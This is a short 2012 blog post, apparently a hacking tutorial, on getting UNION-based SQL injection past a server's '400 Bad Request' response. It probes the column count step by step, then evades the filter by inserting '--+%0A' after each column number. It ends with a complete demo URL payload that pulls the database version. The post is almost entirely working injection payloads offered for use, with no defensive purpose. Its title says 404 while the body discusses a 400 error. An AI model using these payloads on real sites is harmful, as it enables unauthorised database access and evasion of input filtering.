Friday, November 16, 2012

Bypassing 404 Bad Request Error

Bypassing 404 Bad Request Error



# 400 bad request #
If we have error 400 bad request like this

    site.com/somthing.php?id=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, ?29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 +--+/


it's mean : Your browser sent a request that this server could not understand .
and to bypassing this error

first we need to know from where this error begin do like this,

    site.com/somthing.php?id=1' union

nothing happening no 400 bad request error

    site.com/somthing.php?id=1' union select


nothing happening no 400 bad request error

    site.com/somthing.php?id=1' union select 1 +--+/

nothing happening no 400 bad request error

    site.com/somthing.php?id=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 +--+/
nothing happening no 400 bad request error

    site.com/somthing.php?id=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 +--+/

Oh 400 bad request error
now we know this error begining from column 19 that's appear no error and to bypassing this error we will add --+%0A after nomber of column like this

    19--+%0A,20--+%0A,21--+%0A etc ....

DEMO
http://site.com/somthing.php?id=1'and false UNION select version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+%0A,20--+%0A,21--+%0A,22--+%0A,23--

+%0A,24--+%0A,25--+%0A,26--+%0A,27--+%0A,28--+%0A,29--+%0A,30--+%0A,31--+%0A,32--
+%0A,33--+%0A,34--+%0A,35--+%0A,36--+%0A,37--+%0A,38--+%0A,39--+%0A,40--+%0A,41--
+%0A,42--+%0A,43--+%0A,44--+%0A,45--+%0A,46--+%0A,47--+%0A,48--+%0A,49--+
Thank You !!